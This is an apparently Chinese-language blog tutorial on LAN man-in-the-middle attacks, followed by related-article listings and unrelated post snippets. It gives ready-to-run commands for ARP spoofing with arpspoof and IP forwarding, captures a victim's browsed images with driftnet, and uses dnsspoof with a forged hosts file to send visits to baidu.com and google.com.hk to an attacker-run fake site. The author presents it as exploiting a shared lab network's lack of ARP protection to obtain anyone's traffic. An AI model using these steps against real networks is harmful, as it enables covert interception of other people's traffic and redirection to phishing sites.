最近搞了一个监听神器,尽管使用了网卡混杂模式,不过监听到的几乎全是本地流量, 为了获取更多有用的数据,搞一下中间人攻击,最基本的就是arpspoof + IP转发,这样就可以获得局域网内任何人的上网流量, 难得的是实验室没有做ARP防护,给arpspoof一个大行其道的机会。

arpspoof

  1. 实战环境

  2. 攻击者(kali linux):10.10.10.1

  3. 攻击目标:10.10.10.2
  4. 默认网关:10.10.10.254

  5. 攻击步骤

首先在本地开启IP转发,否则很容易被发觉。

echo 1 >> /proc/sys/net/ipv4/ip_forward

用man arpspoof查看参数详细说明
首先跟10.10.10.2说我是网关10.10.10.254

arpspoof -i eth0 -t 10.10.10.2 10.10.10.254

然后跟网关10.10.10.254说我是10.10.10.2,完成双向欺骗

arpspoof -i eth0 -t 10.10.10.254 10.10.10.2

上面两条arpspoof指令可以用下面一个指令完成

arpspoof -i eth0 -t 10.10.10.2 -r 10.10.10.254

最后利用driftnet工具捕获并友好地显示10.10.10.2在网上浏览的图片

driftnet -i eth0

REF

dnsspoof

  1. 攻击环境

  2. 攻击者(kali linux):10.10.10.1

  3. 攻击目标:10.10.10.2
  4. 默认网关:10.10.10.254
  5. DNS服务器: 8.8.8.8
  6. 伪造网站: 10.10.10.3

  7. 攻击步骤

先进行arp欺骗,以中转攻击目标的所有上网流量

echo 1 >> /proc/sys/net/ipv4/ip_forward
arpspoof -i eth0 -t 10.10.10.2 10.10.10.254
arpspoof -i eth0 -t 10.10.10.254 10.10.10.2

按照hosts文件格式,创建一个dnsspoof.hosts文件,
当受害者请求该文件中的域名解析时,我们就返回给他一个伪造的IP地址,让其访问我们伪造的网站。

cat dnsspoof.hosts
10.10.10.3 .baidu.com
10.10.10.3
.google.com.hk

执行dnsspoof, -f指定hosts文件,host 10.10.10.2 and udp port 53 遵从tcpdump流量过滤规则

dnsspoof -i eth0 -f dnsspoof.hosts host 10.10.10.2 and udp port 53

这样当攻击目标10.10.10.2访问baidu.com或者google.com.hk时,受害者访问的实际上是10.10.10.3指定的网站。

通过抓包分析,dnsspoof的原理如下

由于DNS协议使用是传输层协议是UDP协议,
这样无需像TCP那样建立连接就可以轻松的伪造应答包,包括源IP.
10.10.10.2发送DNS 查询包问DNS服务器www.baidu.com的IP地址是多少?
10.10.10.1装作DNS服务器(伪造IP)向攻击目标发送一个DNS响应包说www.baidu.com的IP地址是10.10.10.3。

arpspoof dnsspoof中间人攻击的更多相关文章

  1. 中间人攻击-ARP毒化

    感谢Heee投递 中间人攻击虽然古老,但仍处于受到黑客攻击的危险中,可能会严重导致危害服务器和用户.仍然有很多变种的中间人攻击是有效的,它们能够很容易的欺骗外行并且入侵他们.正如字面意思一样,中间人攻 ...

  2. SSH V2的中间人攻击

    SSH V2的中间人攻击 2012-12-19 10:48:52     我来说两句      作者:Dis9Team 收藏    我要投稿 中间人攻击(Man-in-the-MiddleAttack ...

  3. 中间人攻击(MITM)姿势总结

    相关学习资料 http://www.cnblogs.com/LittleHann/p/3733469.html http://www.cnblogs.com/LittleHann/p/3738141. ...

  4. ARP欺骗与中间人攻击

    前言: 上一篇WPA/WAP2wifi 密码破解笔记说到如何探测附近开放的AP并且破解进入,那么进入别人据局域网我们能干些什么呢?换句话说如果别人进入了我们内部网络,会有什么影响?本文简要介绍了ARP ...

  5. 中间人攻击之arp欺骗 科普ARP欺骗

    中间人攻击之arp欺骗 科普ARP欺骗 A <-> B A中有个ARP Table,每次发包都会在此Table中查找,若找不到,发APR Request包询问.此时若hacker冒充B的M ...

  6. SSL/TLS中间人攻击

    准备:kali.xp kali ip:192.168.14.157 目标ip:192.168.14.158 目标网关:192.168.14.2 使用工具:ettercap.sslstrip.arpsp ...

  7. 小白日记53:kali渗透测试之Web渗透-SSL、TLS中间人攻击(SSLsplit,Mitmproxy,SSLstrip),拒绝服务攻击

    SSL.TLS中间人攻击 SSL中间人攻击 攻击者位于客户端和服务器通信链路中 利用方法: ARP地址欺骗 修改DHCP服务器 (存在就近原则) 手动修改网关 修改DNS设置 修改HOSTS文件[高于 ...

  8. 中间人攻击之劫持登录会话(cookies)

    关于中间人攻击 中间人攻击(Man-in-the-MiddleAttack,简称"MITM攻击")是一种"间接"的入侵攻击,这种攻击模式是通过各种技术手段将受入 ...

  9. 使用Kali Linux执行中间人攻击(演示)

    中间人攻击也叫Man-In-The-Middle-Attack. 我假设你已经知道中间人攻击的基本概念,引用一段wikipedia: 中间人攻击(Man-in-the-middle attack,缩写 ...

随机推荐

  1. [C/C++] 字符串错题集

    1. 答案:A 这里考查转义字符,注意 \\ 表示字符 \\123表示字符 {\t 表示制表符这些都是一个字符. 2. 答案C 先不看有没有重复的,共5个字母,有5×4×3×2×1 = 120种组合. ...

  2. ASP.NET MVC4计划任务实现方法(定时执行某个功能)

    系统中定时执行某个任务是比较常用的功能,如一个部门定期向上级部门上报数据是一个典型的例子,下面就简单说说在.net mvc中如何实现定时执行某个功能的方法. 1.首先修改Glocal.asax文件,在 ...

  3. RT-thread内核之异常与中断

    一.什么是中断? 中断有两种,一种是CPU本身在执行程序的过程中产生的,一种是由CPU外部产生的. cpu外部中断,就是通常所讲的“中断”(interrupt).对于执行程序来说,这种“中断”的发生完 ...

  4. 【bzoj4417】[Shoi2013]超级跳马 矩阵乘法

    题目描述 现有一个n行m列的棋盘,一只马欲从棋盘的左上角跳到右下角.每一步它向右跳奇数列,且跳到本行或相邻行.跳越期间,马不能离开棋盘.例如,当n = 3, m = 10时,下图是一种可行的跳法.   ...

  5. Selector 模型

    1.服务器端: import selectors import socket sel = selectors.DefaultSelector() #生成一个select对象 def accept(so ...

  6. javascript标准对象与包装对象

    javascript标准对象与包装对象 标准对象 在JavaScript的世界里,一切都是对象. 但是某些对象还是和其他对象不太一样.为了区分对象的类型,我们用typeof操作符获取对象的类型,它总是 ...

  7. [NOI2017]蔬菜 贪心

    题面: [NOI2017]蔬菜 题解: 首先每天蔬菜会变质这点并不好处理,我们考虑让时间倒流,从后向前处理,这样的话就相当于每天都会得到一定量的蔬菜. 这样做有什么好处呢? 我们可以发现一个性质:如果 ...

  8. ContestHunter暑假欢乐赛 SRM 04

    逃了一场SRM(躺 A题可以看成0点到1点,有p的几率从0到1,1-p几率不动,求0到1的期望步数.很显然概率是不降序列数/n!,然后列个方程E[0] = E[0] * (1 - p) + 1,解得E ...

  9. mysql 读写分离,主从同步 理论

    mysql主从复制中:第一步:master记录二进制日志.在每个事务更新数据完成之前,master在二进制日志记录这些改变.MySQL将事务写入二进制日志,即使事务中的语句都是交叉执行的.在事件写入二 ...

  10. Linux IO Scheduler

    一直都对linux的io调度算法不理解,这段时间一直都在看这方面的内容,下面是总结和整理的网络上面的内容.生产上如何建议自己压一下.以实际为准. 每个块设备或者块设备的分区,都对应有自身的请求队列(r ...